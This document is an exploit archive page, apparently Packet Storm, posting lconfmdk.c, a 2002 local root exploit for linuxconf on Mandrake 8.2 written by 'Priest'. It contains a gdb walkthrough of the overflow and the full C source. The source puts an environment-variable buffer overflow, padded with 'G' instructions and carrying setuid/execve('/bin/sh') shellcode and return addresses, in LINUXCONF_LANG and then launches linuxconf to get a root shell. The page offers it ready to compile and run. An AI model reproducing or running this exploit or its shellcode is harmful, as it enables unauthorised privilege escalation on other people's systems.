what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lconfmdk.c

lconfmdk.c
Posted Sep 17, 2002
Authored by Priest

Linuxconf local root exploit for Mandrake 8.2.

tags | exploit, local, root
systems | linux, mandrake
SHA-256 | bbdecd617d05c630f7b5a45d0f9bbe2c7853751345d776a2859834b022570a38

lconfmdk.c

Change Mirror Download
This is an easy to use linuxconf exploit for
Mandrake 8.2 compile it, start it and get root :-)

by priest

#if 0

Mandrake 8.2 linuxconf local root (easy to use)
exploit by --priest--
I know, it is a very very ugly
exploit, but it works very good
on Mandrake 8.2.

Usage: gcc lconfmdk.c -o x ; ./x

Little exploit description:

Test SEGV with:
[hack@tux src]$ export LINUXCONF_LANG=`perl -e "print 'A'x10000"`
[hack@tux src]$ linuxconf
Speicherzugriffsfehler // Sefault in german :-)
[hack@tux linuxconf]$ gdb linuxconf
GNU gdb 5.1.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...(no debugging symbols found)...
(gdb) run
Starting program: /bin/linuxconf
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x401e6bd0 in strcmp () from /lib/libc.so.6

(gdb) info register $esi
esi 0x41414141 1094795585

esi is our buffer. esi must be a pointer to a string.

We need a string for the strcmp function. 0x811dc53 is a nice string.

(gdb) x/s 0x811dc53
0x811dc53 <subsys_userpriv+7321>: "linuxconf"

After this it is possible to overwrite the eip and i can jump to the shellcode into my stack.
Before that, we must creat the directory linuxconf.eng and the file linuxconf.eng into this
directory. I use G for the NOP instruction instead of 0x90 its an alternative way. See
alphanumeric shellcode in phrack magazine. I never see the code of linuxconfig. Why read
the source if we have gdb, assembler and a SEGV ;-)

My english is very bad. I am from Austria

#endif
#include <stdlib.h>
#include <stdio.h>

// This buffer is the only thing you need
char buf[] = "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x29\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80GGGGGGGGGGGGGGGGGGGGGGGGGGLINUXCONF EXPLOIT BY PRIESTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGI LIKE IT TO WRITE THIS SHIT INTO THE BUFFERGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGTHERE IS ENOUGH SPACE FOR THIS STUFFGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x53\xdc\x11\x01\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x02\x53\xdc\x11\x03\x53\xdc\x11\x04\x50\xe0\xff\xbf\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11uGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\0";

main()
{
// Very bad, but easy to make style
setenv("LINUXCONF_LANG", buf, 1);
system("mkdir /tmp/linuxconf.eng");
system("touch /tmp/linuxconf.eng/linuxconf.eng");
system("/bin/sh -c linuxconf");
system("rm /tmp/linuxconf.eng/linuxconf.eng");
system("rmdir /tmp/linuxconf.eng");
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    35 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close